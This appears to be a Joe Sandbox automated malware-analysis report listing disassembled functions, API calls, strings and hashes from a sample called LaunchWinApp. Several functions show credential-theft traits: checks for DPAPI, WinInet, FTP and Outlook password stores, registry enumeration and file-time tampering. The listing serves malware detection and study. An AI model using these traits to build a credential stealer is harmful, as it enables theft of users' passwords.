Opcode ID: f8034c1cdcde1a524263459538fbe216e9836c6c9754feab738c995100a7b409
Instruction ID: b4274328c909fdfb88fe5ea3ecc5fc5c70d02b678a9486ce6fcc2d10a7dd17ed
Opcode Fuzzy Hash: f8034c1cdcde1a524263459538fbe216e9836c6c9754feab738c995100a7b409
Instruction Fuzzy Hash: B6C1D771A402057BFB206A258D87FEB72A89F66704F1404BBFC0991256F73C9F49C66D

Uniqueness

Uniqueness Score: -1.00%

Function 004211E4 Relevance: 19.7, APIs: 2, Strings: 9, Instructions: 455COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004211E9
SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0042120E

Part of subcall function 00413E27: _Deallocate.LIBCONCRT ref: 00413E3C

Part of subcall function 0040C5A5: __EH_prolog.LIBCMT ref: 0040C5AA

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

Part of subcall function 004360CE: GetEnvironmentVariableA.KERNEL32(?,?,00000104,00000000), ref: 0043611A

Part of subcall function 00435C2D: __EH_prolog.LIBCMT ref: 00435C32
Part of subcall function 00435C2D: _strcat.LIBCMT ref: 00435C8D

Strings

y, xrefs: 0042175B
[GE[, xrefs: 004215E6
UOUH, xrefs: 0042179A
<6p], xrefs: 0042178A
Profiles, xrefs: 0042125A
s, xrefs: 004216D5
K, xrefs: 004215FE
5/, xrefs: 00421716
,7-c, xrefs: 00421754

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog$Deallocate$EnvironmentFolderPathVariable_strcat
String ID: ,7-c$5/$<6p]$K$Profiles$UOUH$[GE[$s$y
API String ID: 68644425-2620514704
Opcode ID: 6eadc8a706fcb21a95d9d5a4f3757147cb4efe1986d906902349050cf5027098
Instruction ID: 3c83c8308f78a08ee4bf23d8f3ace9da36a91ab9931530a5a88d3d402fe34580
Opcode Fuzzy Hash: 6eadc8a706fcb21a95d9d5a4f3757147cb4efe1986d906902349050cf5027098
Instruction Fuzzy Hash: A412DF30D042A8CADF15DBA5C851BEDBBB1AF69304F1041AED44977292EB781FC9CB19

Uniqueness

Uniqueness Score: -1.00%

Function 0046244B Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0046248F

Part of subcall function 004617E9: _free.LIBCMT ref: 00461806
Part of subcall function 004617E9: _free.LIBCMT ref: 00461818
Part of subcall function 004617E9: _free.LIBCMT ref: 0046182A
Part of subcall function 004617E9: _free.LIBCMT ref: 0046183C
Part of subcall function 004617E9: _free.LIBCMT ref: 0046184E
Part of subcall function 004617E9: _free.LIBCMT ref: 00461860
Part of subcall function 004617E9: _free.LIBCMT ref: 00461872
Part of subcall function 004617E9: _free.LIBCMT ref: 00461884
Part of subcall function 004617E9: _free.LIBCMT ref: 00461896
Part of subcall function 004617E9: _free.LIBCMT ref: 004618A8
Part of subcall function 004617E9: _free.LIBCMT ref: 004618BA
Part of subcall function 004617E9: _free.LIBCMT ref: 004618CC
Part of subcall function 004617E9: _free.LIBCMT ref: 004618DE

_free.LIBCMT ref: 00462484

Part of subcall function 0045813E: HeapFree.KERNEL32(00000000,00000000,?,00461F3E,?,00000000,?,00000002,?,004621E1,?,00000007,?,?,004625E2,?), ref: 00458154
Part of subcall function 0045813E: GetLastError.KERNEL32(?,?,00461F3E,?,00000000,?,00000002,?,004621E1,?,00000007,?,?,004625E2,?,?), ref: 00458166

_free.LIBCMT ref: 004624A6
_free.LIBCMT ref: 004624BB
_free.LIBCMT ref: 004624C6
_free.LIBCMT ref: 004624E8
_free.LIBCMT ref: 004624FB
_free.LIBCMT ref: 00462509
_free.LIBCMT ref: 00462514
_free.LIBCMT ref: 0046254C
_free.LIBCMT ref: 00462553
_free.LIBCMT ref: 00462570
_free.LIBCMT ref: 00462588

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 4e5be989dd5d5ebc8b3721722ec6743cef7220c62adb7c5e36183d1321204e8f
Instruction ID: 3834f5d0b0fa7ee222214c8c475d08e4aee319eee5858bf4e43ec97f72696992
Opcode Fuzzy Hash: 4e5be989dd5d5ebc8b3721722ec6743cef7220c62adb7c5e36183d1321204e8f
Instruction Fuzzy Hash: 69316D71600B01AFDB30AA39DA45B5BB3E5BB00355F10441FE499A7291EFB8AC458B2D

Uniqueness

Uniqueness Score: -1.00%

Function 00428AD3 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 145stringCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00428AD8
lstrlenW.KERNEL32(?,?,?,?), ref: 00428AF2
lstrlenW.KERNEL32(?,?,?,?,?), ref: 00428AFF
StrCmpNW.SHLWAPI(?,DPAPI: ,00000007,?,?,?,?), ref: 00428B19
StrCmpNW.SHLWAPI(?,Microsoft_WinInet_,00000012,?,DPAPI: ,00000007,?,?,?,?), ref: 00428B2A
StrCmpNW.SHLWAPI(?,ftp://,00000006,?,Microsoft_WinInet_,00000012,?,DPAPI: ,00000007,?,?,?,?), ref: 00428B3B
lstrlenW.KERNEL32(?,?,ftp://,00000006,?,Microsoft_WinInet_,00000012,?,DPAPI: ,00000007,?,?,?,?), ref: 00428B72
lstrlenW.KERNEL32(?,?,?,ftp://,00000006,?,Microsoft_WinInet_,00000012,?,DPAPI: ,00000007,?,?,?,?), ref: 00428BA5

Part of subcall function 00414A6F: __EH_prolog.LIBCMT ref: 00414A74

Part of subcall function 0041162F: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041165D

Strings

DPAPI: , xrefs: 00428B13
ftp://, xrefs: 00428B35
Microsoft_WinInet_, xrefs: 00428B24

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: lstrlen$H_prolog$Ios_base_dtorstd::ios_base::_
String ID: DPAPI: $Microsoft_WinInet_$ftp://
API String ID: 3832056751-2984799227
Opcode ID: f41ecbfb8deb7e4d213aff8f03352e40e411e805436b79b598662ee94e26cd8c
Instruction ID: 3e0ced048a17677fa27a222bd2aa08f95f493865f3012197990d41e14c5bec3b
Opcode Fuzzy Hash: f41ecbfb8deb7e4d213aff8f03352e40e411e805436b79b598662ee94e26cd8c
Instruction Fuzzy Hash: 48413B30E01354ABCF11EBA5C891BEFBBB55F65384F00909EE40877282DE785E49C769

Uniqueness

Uniqueness Score: -1.00%

Function 0043568A Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00434D5D: lstrlenW.KERNEL32(?,?,004356F4), ref: 00434D81
Part of subcall function 00434D5D: lstrcpyW.KERNEL32 ref: 00434D98
Part of subcall function 00434D5D: CoTaskMemFree.OLE32(?,?,004356F4), ref: 00434DA1

lstrcmpiW.KERNEL32(00000000,identification,00000000), ref: 0043570C
lstrcmpiW.KERNEL32(?,identitymgr), ref: 0043571A
lstrcmpiW.KERNEL32(00000000,inetcomm server passwords), ref: 0043573A
lstrcmpiW.KERNEL32(00000000,outlook account manager passwords), ref: 00435746
lstrcmpiW.KERNEL32(00000000,identities), ref: 00435752
CoTaskMemFree.OLE32(?), ref: 00435788

Strings

identification, xrefs: 00435706
outlook account manager passwords, xrefs: 00435740
identities, xrefs: 0043574C
inetcomm server passwords, xrefs: 00435734
identitymgr, xrefs: 00435712

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: lstrcmpi$FreeTask$lstrcpylstrlen
String ID: identification$identities$identitymgr$inetcomm server passwords$outlook account manager passwords
API String ID: 1606502731-4287852900
Opcode ID: d77016dde1f81b24b128d365a456b7c38c16db4a1dd5427be3f90dd16a711d19
Instruction ID: ced5bba8cab1a304d55652142e9c1d109c4f6eea1a341f7004e042a636eec8e9
Opcode Fuzzy Hash: d77016dde1f81b24b128d365a456b7c38c16db4a1dd5427be3f90dd16a711d19
Instruction Fuzzy Hash: 4B31B17150060AFBCF119F96CC85DEF7B79EF48754F10805AF814A2250EB78DA10DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004618E7 Relevance: 18.4, APIs: 12, Instructions: 373COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0046192F
_free.LIBCMT ref: 00461953
_free.LIBCMT ref: 00461960
_free.LIBCMT ref: 00461985
_free.LIBCMT ref: 00461992
_free.LIBCMT ref: 0046199B
_free.LIBCMT ref: 00461C75
_free.LIBCMT ref: 00461C7D

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f5da1141bc23ae6a72398964912063c277e302b1af23eeb856e3ba50769a06ad
Instruction ID: 13ece94f853496b0ca271b1e92e015819b6c0a8f5d53172d9939d9328856b51e
Opcode Fuzzy Hash: f5da1141bc23ae6a72398964912063c277e302b1af23eeb856e3ba50769a06ad
Instruction Fuzzy Hash: 1CC15571D40604AFDB20DBA9CC82FEE77F8AB08705F14405AFE45FB283E974AA458759

Uniqueness

Uniqueness Score: -1.00%

Function 00459923 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 00459BAB

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 7c5b6e03c11ead6cdf74588bcee31b8301e9cf250004adc05a0fef28c6a8b3ec
Instruction ID: d880c2e215e932c2ba28ee53f4aa464a33f2bc002b0cdf142bf165d7395af2f8
Opcode Fuzzy Hash: 7c5b6e03c11ead6cdf74588bcee31b8301e9cf250004adc05a0fef28c6a8b3ec
Instruction Fuzzy Hash: C4C1E070E04245DBEF11DF99D880BAEBBB0BF49305F04405AE814AB393C7789D49CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0042A2FA Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 296COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042A2FF

Part of subcall function 00413E27: _Deallocate.LIBCONCRT ref: 00413E3C

Part of subcall function 0040C5A5: __EH_prolog.LIBCMT ref: 0040C5AA

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

Strings

uo5i, xrefs: 0042A653
.HAVCOGB, xrefs: 0042A425
,rh, xrefs: 0042A583
@Z, xrefs: 0042A4D3
~x+, xrefs: 0042A65A
;?':, xrefs: 0042A57A
@, xrefs: 0042A5EA
^, xrefs: 0042A415
"\, xrefs: 0042A53F

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: DeallocateH_prolog
String ID: "\$,rh$.HAVCOGB$;?':$@$@Z$^$uo5i$~x+
API String ID: 3708980276-3082752831
Opcode ID: dab3d80705238747b671890d486e89c95756e3909bd82a935f83ad624634f2d7
Instruction ID: f0c44152d83ce61fef9ef4032a72f44cb9ad9ecdbe5204f1a742bf07efdaa25d
Opcode Fuzzy Hash: dab3d80705238747b671890d486e89c95756e3909bd82a935f83ad624634f2d7
Instruction Fuzzy Hash: 8FD10430D04298CBDF15EFA5D491ADDFB70AF59308F50809ED44677242EF784A89CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00464CC3 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0046497C: CreateFileW.KERNEL32(00000000,?,?,lMF,?,?,00000000,?,00464D6C,00000000,0000000C), ref: 00464999

GetLastError.KERNEL32 ref: 00464DD7
__dosmaperr.LIBCMT ref: 00464DDE
GetFileType.KERNEL32(00000000), ref: 00464DEA
GetLastError.KERNEL32 ref: 00464DF4
__dosmaperr.LIBCMT ref: 00464DFD
CloseHandle.KERNEL32(00000000), ref: 00464E1D
CloseHandle.KERNEL32(0045B393), ref: 00464F6A
GetLastError.KERNEL32 ref: 00464F9C
__dosmaperr.LIBCMT ref: 00464FA3

Strings

H, xrefs: 00464F28

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 900f5f4d0f2604750fa8dba6298f7beccef75067213b995915caa8319bee0f25
Instruction ID: b1e33752c527ffc13438350d42aa46bdec670cb950b4e4acb1575bb091a95199
Opcode Fuzzy Hash: 900f5f4d0f2604750fa8dba6298f7beccef75067213b995915caa8319bee0f25
Instruction Fuzzy Hash: 8AA13832A001549FDF19EF68DC91BAE7BE0AB46324F18015EF811AB3D1E7398D16C75A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F046 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 188filetimeCOMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 0041F104
wsprintfA.USER32 ref: 0041F15E
wsprintfA.USER32 ref: 0041F17F
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000010,00000000), ref: 0041F1AE
WriteFile.KERNEL32(?,?,00000000,000000FF,00000000), ref: 0041F220
SetFileTime.KERNEL32(?,?,?,?), ref: 0041F25A
CloseHandle.KERNEL32(?), ref: 0041F26A

Strings

%s%s%s, xrefs: 0041F158
%s%s, xrefs: 0041F179
:, xrefs: 0041F138

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: File$wsprintf$CloseCreateHandleTimeWrite_strcat
String ID: %s%s$%s%s%s$:
API String ID: 840165387-3034790606
Opcode ID: 3cec4ebec5dbd04e64b5bb141e66d3ad2bcb8e4857bf8e77776952cf148ea20f
Instruction ID: 449276029ece4150a2aa6485bb31e868b4af0334c182ee7cf899543bca6bd2de
Opcode Fuzzy Hash: 3cec4ebec5dbd04e64b5bb141e66d3ad2bcb8e4857bf8e77776952cf148ea20f
Instruction Fuzzy Hash: 87615C34604304EBCB21CF65C884BEA77A9AF09314F1045BFE99597292D7799ECBCB09

Uniqueness

Uniqueness Score: -1.00%

Function 0043E1EE Relevance: 16.7, APIs: 11, Instructions: 184fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0043E202
GetFileSize.KERNEL32(?,00000000,?,?), ref: 0043E282
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?), ref: 0043E299
ReadFile.KERNEL32(?,?,00000002,?,00000000,?,?), ref: 0043E2AC
SetFilePointer.KERNEL32(?,00000024,00000000,00000000,?,?), ref: 0043E2B9
ReadFile.KERNEL32(?,?,00000004,?,00000000,?,?), ref: 0043E2CC
SetFilePointer.KERNEL32(?,?,00000000,00000000,?,?), ref: 0043E2ED
ReadFile.KERNEL32(?,?,00000004,?,00000000,?,?), ref: 0043E300

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-0
Opcode ID: 4b2845aadeeeedebf06746345ee509e2f5e685ba4367de85b3e2a1f1b4d16cc8
Instruction ID: c004d36ebe18715a8d63a9f7715695fab7ee137f541bfec39d04e404a1261500
Opcode Fuzzy Hash: 4b2845aadeeeedebf06746345ee509e2f5e685ba4367de85b3e2a1f1b4d16cc8
Instruction Fuzzy Hash: 8B5181B5A01208BBEB24DFA9CC81BBF77F9EB48700F50482AF902E7281D674DD018B55

Uniqueness

Uniqueness Score: -1.00%

Function 00444092 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0044418F
type_info::operator==.LIBVCRUNTIME ref: 004441B1
___TypeMatch.LIBVCRUNTIME ref: 004442C0
IsInExceptionSpec.LIBVCRUNTIME ref: 00444392
_UnwindNestedFrames.LIBCMT ref: 00444416
CallUnexpected.LIBVCRUNTIME ref: 00444431

Strings

csm, xrefs: 0044413C
csm, xrefs: 004440CF
csm, xrefs: 004441E8

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: ee865eaa281affe4f268f99035dd77553895f7ebdd44fba665c3bbb780033484
Instruction ID: 76ee06ea629b502b81153e23b71d333b71dab2dd5e026666655c057760d3b435
Opcode Fuzzy Hash: ee865eaa281affe4f268f99035dd77553895f7ebdd44fba665c3bbb780033484
Instruction Fuzzy Hash: D3B1AA71900209EFEF28DFA5C881AAFB7B5BF94715F10415BE8106B202D738DE61CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00429B63 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 232fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00429B68
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000), ref: 00429C73
CloseHandle.KERNEL32(00000000), ref: 00429C81
GetFileSize.KERNEL32(00000000,00000000), ref: 00429CC8
ReadFile.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 00429CF4
CloseHandle.KERNEL32(00000000), ref: 00429CFB

Part of subcall function 0040C9FC: CreateTransaction.KTMW32(00000000,00000000,00000001,00000000,00000000,000000FF,00000000,?,00000000,?,?,?,?,00000000), ref: 0040CA0F
Part of subcall function 0040C9FC: DeleteFileTransactedA.KERNEL32 ref: 0040CA26
Part of subcall function 0040C9FC: CommitTransaction.KTMW32(00000000,?,00000000,?,?,?,?,00000000), ref: 0040CA31

Strings

Sbpptlqg, xrefs: 00429DD0, 00429DD9
04<, xrefs: 00429D71
z4/66, xrefs: 00429CA2

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTransaction$CommitDeleteH_prologReadSizeTransacted
String ID: 04<$Sbpptlqg$z4/66
API String ID: 604483397-2878691601
Opcode ID: 9d0126fe3125f1e40f3e7f1515986ed793b71aeea603032461edbd4335264fa4
Instruction ID: 7270e65da639a491c837f879b511a321b676181613d6871b48502c6b88c3ccfc
Opcode Fuzzy Hash: 9d0126fe3125f1e40f3e7f1515986ed793b71aeea603032461edbd4335264fa4
Instruction Fuzzy Hash: 5E91E130D042589EDF11DBF9D841BEEBBB4AF59304F10809EE45577282DB781B4ACB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 182COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042A783

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

Strings

0->8, xrefs: 0042A8E1
Y~ex, xrefs: 0042A820
kmo, xrefs: 0042A827
Klwj, xrefs: 0042A884
', xrefs: 0042A9C3
]DX6, xrefs: 0042A94C
=$8V, xrefs: 0042A80E
:, xrefs: 0042A8F3

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: DeallocateH_prolog
String ID: '$0->8$:$=$8V$Klwj$Y~ex$]DX6$kmo
API String ID: 3708980276-3465840843
Opcode ID: af55d83b93bdacff8014611a54a710a857089bed1f9ac4ecb08a7bad63cf0beb
Instruction ID: 1cf167f678627b7213b3a62165abed2a57a19da4e783b6cdaddb0d5db459ed6b
Opcode Fuzzy Hash: af55d83b93bdacff8014611a54a710a857089bed1f9ac4ecb08a7bad63cf0beb
Instruction Fuzzy Hash: 0C917B70C0129CDADB05DFE9DA915ECFBB0BF69308F5042AEE84537252EB741A89CB15

Uniqueness

Uniqueness Score: -1.00%

Function 00466B6E Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(00000000,?,?,?,?,?,?,?,?,0045F086), ref: 00466B87

Strings

asin, xrefs: 00466CB4
acos, xrefs: 00466CBD
pow, xrefs: 00466C25, 00466CCF, 00466D1C
sqrt, xrefs: 00466CC6
log10, xrefs: 00466BC9, 00466BD8
log, xrefs: 00466BE4, 00466BF3
\1A, xrefs: 00466C51, 00466CFB, 00466D41
exp, xrefs: 00466C06, 00466C6B

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: \1A$acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-1101550966
Opcode ID: d0c298cba08006ba937b6424f7533d63f9b2ab4fd3a1aedea680d41921746692
Instruction ID: 277b25c4dbea6740caf710ce7d53f049e1750238b42549c296507d80a2be4eb3
Opcode Fuzzy Hash: d0c298cba08006ba937b6424f7533d63f9b2ab4fd3a1aedea680d41921746692
Instruction Fuzzy Hash: 53517CB090091ACBDF109F59D9481AEBFB4FB05300F168057E490A6364E77C8A69DF5F

Uniqueness

Uniqueness Score: -1.00%

Function 00435327 Relevance: 15.1, APIs: 10, Instructions: 102stringregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0043534E
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00435379
lstrlenW.KERNEL32(?), ref: 00435390
lstrlenW.KERNEL32(?), ref: 0043539D
lstrcpyW.KERNEL32 ref: 004353BE
lstrcatW.KERNEL32(00000000,0047E440), ref: 004353CA
lstrcatW.KERNEL32(00000000,?), ref: 004353D8
lstrcatW.KERNEL32(00000000,?), ref: 004353E4
RegEnumKeyExW.ADVAPI32(?,?,?,000007FF,00000000,00000000,00000000,00000000), ref: 0043541E
RegCloseKey.ADVAPI32(?), ref: 00435433

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: lstrcat$Enumlstrlen$CloseOpenlstrcpy
String ID:
API String ID: 3646165539-0
Opcode ID: b32a93a648a20521435bfa43436669ae1f9e328a6dc734ab387af6766ccd9f74
Instruction ID: 37c10a812fbd51a447f430363fe97f453b6509787c7c017df0af4a1042ebcf1c
Opcode Fuzzy Hash: b32a93a648a20521435bfa43436669ae1f9e328a6dc734ab387af6766ccd9f74
Instruction Fuzzy Hash: F1317375500119BFEB109B92DC88EFF7BBCEF85755F00006AF805E2110EBB89E41EA65

Uniqueness

Uniqueness Score: -1.00%

Function 0045A0B7 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0045A0CD

Part of subcall function 0045813E: HeapFree.KERNEL32(00000000,00000000,?,00461F3E,?,00000000,?,00000002,?,004621E1,?,00000007,?,?,004625E2,?), ref: 00458154
Part of subcall function 0045813E: GetLastError.KERNEL32(?,?,00461F3E,?,00000000,?,00000002,?,004621E1,?,00000007,?,?,004625E2,?,?), ref: 00458166

_free.LIBCMT ref: 0045A0D9
_free.LIBCMT ref: 0045A0E4
_free.LIBCMT ref: 0045A0EF
_free.LIBCMT ref: 0045A0FA
_free.LIBCMT ref: 0045A105
_free.LIBCMT ref: 0045A110
_free.LIBCMT ref: 0045A11B
_free.LIBCMT ref: 0045A126
_free.LIBCMT ref: 0045A134

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3ceed48b4a17cbcdde70031d615c3461e9b2d8f4e2beddfa82eed1d2ee5458ab
Instruction ID: b02fa920f452a0edfe744891049f39be5e49c13881d295e03a618375052dc715
Opcode Fuzzy Hash: 3ceed48b4a17cbcdde70031d615c3461e9b2d8f4e2beddfa82eed1d2ee5458ab
Instruction Fuzzy Hash: 7421BB76900108AFCB11EF95C841DDE7BB5FF08345F4041AAB955AB622DF35DA498B84

Uniqueness

Uniqueness Score: -1.00%

Function 00443B60 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00443B97
___except_validate_context_record.LIBVCRUNTIME ref: 00443B9F
_ValidateLocalCookies.LIBCMT ref: 00443C28
__IsNonwritableInCurrentImage.LIBCMT ref: 00443C53
_ValidateLocalCookies.LIBCMT ref: 00443CA8

Strings

j&D, xrefs: 00443C45, 00443C4E, 00443C5F
csm, xrefs: 00443C3D
\1A, xrefs: 00443C6C

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: \1A$csm$j&D
API String ID: 1170836740-224734935
Opcode ID: 8800b70512f566a6ed731b46be6f5d81cca9cac57c238c8d97061eef242c7d0e
Instruction ID: d51ed6bd50955f7606e1d4a61f7f962d3041dcf4edb3d25ec6ad6015a4d554b9
Opcode Fuzzy Hash: 8800b70512f566a6ed731b46be6f5d81cca9cac57c238c8d97061eef242c7d0e
Instruction Fuzzy Hash: 44413835A002489BDF10DF69C884B9EBBB1FF45718F20805BE8146B392D739EB05CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0043E0DB Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 78COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0043E0E0

Strings

.lzh, xrefs: 0043E144
.arj, xrefs: 0043E155
.gz, xrefs: 0043E166
.zoo, xrefs: 0043E122
.arc, xrefs: 0043E133
.tgz, xrefs: 0043E177
.zip, xrefs: 0043E111

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 4218353326-51310709
Opcode ID: 2b6cba59c9eb04cec2d0f1339764d9a3b986a62fb1733c0560ba57fad7fa7ea9
Instruction ID: cbec075873f3744001ad92d190fb4b735827c992066215d9f43ee809ff3f44c0
Opcode Fuzzy Hash: 2b6cba59c9eb04cec2d0f1339764d9a3b986a62fb1733c0560ba57fad7fa7ea9
Instruction Fuzzy Hash: C111563624EF23347D29312B6D4669B07C88D2F775B34555FF804651C3EEAC989740AE

Uniqueness

Uniqueness Score: -1.00%

Function 00461D06 Relevance: 13.7, APIs: 9, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00461D74
_free.LIBCMT ref: 00461D80
_free.LIBCMT ref: 00461EA9
_free.LIBCMT ref: 00461EB4

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

